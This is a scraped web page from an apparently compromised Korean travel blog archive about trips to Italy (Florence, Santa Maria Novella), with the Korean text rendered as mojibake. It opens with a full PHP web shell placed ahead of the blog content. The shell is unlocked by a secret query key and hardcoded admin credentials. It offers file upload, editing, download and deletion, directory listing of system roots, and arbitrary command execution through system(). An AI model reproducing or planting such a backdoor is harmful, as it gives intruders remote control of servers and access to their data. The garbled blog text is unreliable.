if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell';
echo '';
echo '
';
switch ($act) {
case 'upload':
echo 'โฌ Upload File to: '.htmlspecialchars($path).'
';
echo '
';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo 'โ
Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo 'โ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo 'โ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '๐ Current directory contents:
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '๐ '.$item."/\n";
else echo '๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '๐ณ Directory Tree (depth 4)
';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'๐ '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '๐พ Accessible Roots
';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โ\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โ\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '๐ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)
';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo 'โ
Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '๐ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')
';
echo '';
if ($output !== '') echo ''.htmlspecialchars($output).'
';
else echo 'No output
';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo 'โ
Deleted: '.htmlspecialchars($f);
else echo 'โ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo 'โ
Directory removed: '.htmlspecialchars($f);
else echo 'โ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo 'โ
Created: '.htmlspecialchars($dest);
else echo 'โ Create failed';
}
echo '';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo 'โ
Created dir: '.htmlspecialchars($dest);
else echo 'โ mkdir failed';
}
echo '';
break;
default:
echo '๐ '.htmlspecialchars($path).'
';
$parent = dirname($path);
if ($parent && $parent !== $path) echo 'โฌ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[โฌ Upload]
';
echo '| Name | Size | Perms | Actions |
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '| ๐ '.$item.' | ';
else echo '๐ '.$item.' | ';
echo ''.$size.' | '.$perms.' | ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete]';
echo ' |
';
}
}
echo '
';
break;
}
echo '';
exit;
}
์ดํ๋ฆฌ์ ์ฌํ Archives | GoodTrip
์ปจํ
์ธ ๋ก ๊ฑด๋๋ฐ๊ธฐ
์์งํ ์์ ์ ๋ฌธ์ธํ์ด ํ๋ฆฌ๋ ๋ฐ๋์ด๋ ๋ก๋ง๋ฅผ ๋ฐฉ๋ฌธํ๋ฉด ํญ์ ๊น์ ๊ฐ๋ฑ์ ๊ฒช๊ธฐ ๋ง๋ จ์ด๋ค. ์ด ๋์ ๊ด๊ด์ ๊ฐ์ฅ ํต์ฌ์ค์ ํ๋๋ ๋ฃจ๋ธ๋ฅด๋ฐ๋ฌผ๊ด์ด๋ ๋์๋ฐ๋ฌผ๊ณผ ๊ฐ์ ๋ฐ๋ฌผ๊ด ๋๋ ๋ฏธ์ ๊ด์ธ๋ฐ ์ด๋ฅผ ์ด๋ป๊ฒ ํ ๊ฒ์ธ๊ฐ์ ๋ฌธ์ ์ ๋ด์ฐฉํ๋ค. ์ด๋ ต๊ฒ ์๋๋ฐ ๋ฐ๋ฌผ๊ด์ด๋ ๋ฏธ์ ๊ด์ ๊ทธ๋ฅ ๋ฌด์ํ๊ณ ๋ ๋๊ธฐ๋ ๊ทธ๋ ๊ณ ์๊ฐ์ ๋ด์ ์ง์คํด ๋ณด๊ธฐ๋ ๊ทธ๋ ๊ณ ์งํด์๋์ธ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ํผ๋ ์ฒด๋ ๋ง์ฐฌ๊ฐ์ง์ด๋ค. ๋ค๋ฅธ ๋ณผ๊ฑฐ๋ฆฌ๊ฐ ๋ง๊ธฐ๋ ํ์ง๋ง ํผ๋ ์ฒด์ ๋ํ์ ์ธ ๋ฏธ์ ๊ด์ธ ์ฐํผ์น๋ฏธ์ ๊ด์ … ๋ ์ฝ๊ธฐ
ํผ๋ ์ฒด ๋์ค๋ชจ ๊ทธ๋ฆฌ๊ณ ์กฐํ ์ ์ข
ํ์ ์ฌ๋ผ๊ฐ ํ ์ฐ๋ฆฌ๊ฐ ํฅํ ๊ณณ์ ์ฐํ ๋ง๋ฆฌ์ ๋
ธ๋ฒจ๋ผ์ฑ๋น(Church of Santa Maria Novella)์ด์๋ค. ์ฌ์ค ํผ๋ ์ฒด๋ฅผ ๋ฐฉ๋ฌธํ๊ธฐ์ ์ ๋ฅด๋ค์์ค ์์ ์ ๋ํด์ ์์ฃผ ์กฐ๊ธ ๊ณต๋ถ๋ฅผ ํ ์ ์ด ์๋ค. ๊ทธ ์ค์์ ๋ฅด๋ค์์ค ๋ฏธ์ ์๋๋ฅผ ์ด์๋ ์ฒ์ฌ๋ก ์๋ ค์ง ๋ง์ฌ์ด์ ๋ํด์๋ ์กฐ๊ธ ๊ณต๋ถ๋ฅผ ํ์๋ค. ๊ทธ์ ์ํ์ ์ฐํ ๋ง๋ฆฌ์ ๋
ธ๋ฒจ๋ผ์ฑ๋น(์ดํ๋ฆฌ์์ด Basilica di Santa Maria Novella, ์์ด Church of … ๋ ์ฝ๊ธฐ
์ด๋ฒ ์ดํ๋ฆฌ์ ์ฌํ์ ํ๋ฉด์ ๋๋์ฒด 12๋ญ๋ง ์ดํ๋ฆฌ๋ ์ด๋ค ๊ธฐํ์ผ๊น? ์ด๋ค ํ๊ด์ ๊ฐ์งํ๊ณ ์์๊น ๋ฌด์ฒ ๊ถ๊ธํ์ต๋๋ค. 2์ฃผ๊ฐ์ ์๊ฐ์ด ๋๋ ์๊ธฐ๊ฐ ๊ฒจ์ธ ์ด ์๊ธฐ๋ฐ์ ๋์ง์์์ ์ธ๋ฉฐ ๊ฒจ์๋จน๊ธฐ๋ก ์ค๋นํ ์ฌํ์ด์์ง๋ง ์์งํ ๊ฑฑ์ ์ด ๋์์ต๋๋ค. ์ถํ ๊ฒจ์ธ ์ด๋ฏธ์ง๋ฅผ ๋ ์ฌ๋ฆฌ๋ฉฐ ์นผ๋ฐ๋์ ๋ง์ผ๋ฉฐ ์ถ์์ ๋จ๋ฉด์ ์ฌํ์ ๋ค๋๋ ๊ฒ์ ์๋์ง ๊ฑฑ์ ์ด ๋๊ธฐ๋ ํ์ต๋๋ค. ๊ทธ๋์ ์ฒ์์๋ ๊ฒจ์ธ์ด์ง๋ง ๊ฐ์ฅ ๋ฐ๋ปํ ๊ทธ๋ฆฌ์ค๋ก ์ฌํ์ง๋ฅผ ์ก๊ธฐ๋ ํ์ต๋๋ค. ํ์ … ๋ ์ฝ๊ธฐ